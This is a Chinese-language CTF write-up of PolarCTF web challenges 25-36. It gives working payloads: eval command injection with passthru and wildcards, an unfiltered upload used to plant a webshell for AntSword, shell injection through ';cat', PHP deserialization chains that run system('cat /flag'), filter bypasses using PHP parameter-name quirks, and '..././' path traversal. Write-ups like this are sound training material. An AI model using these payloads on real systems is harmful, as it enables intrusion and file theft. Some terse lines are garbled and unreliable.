25-36

cool

is_numeric ()函数作用:判断变量是不是数字或者数字字符串 返回‑true:是数字;false:不是

目标是让 eval($a) 执行恶意代码(如读取flag文件),

需同时绕过两个限制:

非数字限制 : $a 不能是纯数字(包括字符串形式的数字)

关键词过滤 : $a 不能包含 flag|system|php (大小写不敏感)

用passthru代替system,用通配符绕过flag

pyload: ?a=passthru('cat f*');

uploader代码审计:

1、基于客户端 IP 生成 MD5 目录($sandBox)作为路径;
2、直接将用户上传的文件移动到该沙盒目录(move_uploaded_file),未对文件类型、扩展名、内容做任何过滤;
3、输出上传文件的名称、类型、大小和路径。

<form action="http://1e8dc98d-dd17-40a9-b561-3d35ee496f84.www.polarctf.com:8090/" method="POST" enctype="multipart/form-data">

    <input type="file" name="file" />

    <input type="submit" value="上传" />

</form>

上传成功返回文件名和目录

用蚁剑连一下

得到flag

覆盖

这题一眼看过去的熟悉跟前面干正则好像一样

老方法也是可以做的

但这个也是可以的:?id=a[0]=www.polarctf.com&cmd=;cat ls

cat ls 会被当作新命令执行( ls 会展开当前目录所有文件名, cat 读取这些文件内容)

PHP反序列化初试

两个类两个方法也不多

O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"�Evil�env";N;}}

需要把这个符号改成空格就好了

O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:" Evil env";N;}}

pyload:

O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"cat f1@g.php";s:9:" Evil env";N;}}

机器人

都说不爬了那就看看源码扫扫目录了

源码里没有什么有用的东西

给了一段flag

但给了一段提示访问一下

对这个目录进行扫描

获得另一半

完整:flag{4749ea1ea481a5d56685442c8516b61c}

扫扫看

标题和内容都说扫扫看那就扫

我就知道没那么简单

原来是藏在源代码里了

debudao

打开一个提交窗口

提交个1看看

我还在想有什么东西呢看了一下源码,感觉不像是,提交一下看看

果然提交不上去,抓个包看看,原来藏在了cookie里

解码得到flag

审计

果然是代码审计;

检查:

第一关:输入不能是数组。

第二关:输入的 MD5 哈希值必须以 0e 开头,并且后面跟随数字。

第三关:输入必须是一个数字(通过 is_numeric 检查)。

解决思路:我们需要找到一个数字,其 MD5 哈希值以 0e 开头。不能用数组绕过

直接python爆破

import hashlib

def md5_str(n):

    return hashlib.md5(str(n).encode()).hexdigest()

# 从0开始遍历纯数字

i = 0

while True:

    h = md5_str(i)

    if h.startswith("0e") and h[2:].isdigit():

        print(f"成功 i={i}  md5={h}")

        break

    i += 1

>>>240610708

所以payload为?xxs=240610708

upload1

好像是文件上传,正好前面的照片马还没删除

修改包

成功:

rapyiquan

这题一打开看到一大串字

第一关:下划线检测checkUrlParams 检查 $_SERVER['REQUEST_URI'] 中是否含有 _,有则直接拦截

第二关:命令黑名单正则过滤了 lscattacnlmorelessheadtailviodgrepsed 等大量读文件命令

还有特殊字符过滤:*?\{}()$|;'"`-<>

绕过思路:

绕过第一关:参数名是 c_md(含下划线),但 URL 不能出现 。利用 PHP 特性:PHP 会自动将参数名中的 .(点)和空格转换为

绕过第二关:find,sort,等都没有过滤 符号/没有过滤

?cmd=sort /fl\ag.php

发现好像也对 这题 flag 不在 /flag.php 里需要你去读,而是放在环境变量 FLAG 中只要用一个字符串本身不含黑名单词的命令直接拿

pyload:?c.md=printenv或者env

这个好像是彩蛋env

bllbl_ser1

就是一个反序列化的题了

应该在根目录

pyload:?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system('cat /flag');";}}

1ncIud3

打开提示可以用?page=来导航

访问一下

查看提示,可能替换flag字样以及添加一些符号过滤

常见的替换有 f1a9 f1ag f149,flag基本在根目录下,用.././为一组进行跳目录

最终payload ?page=..././..././f1a9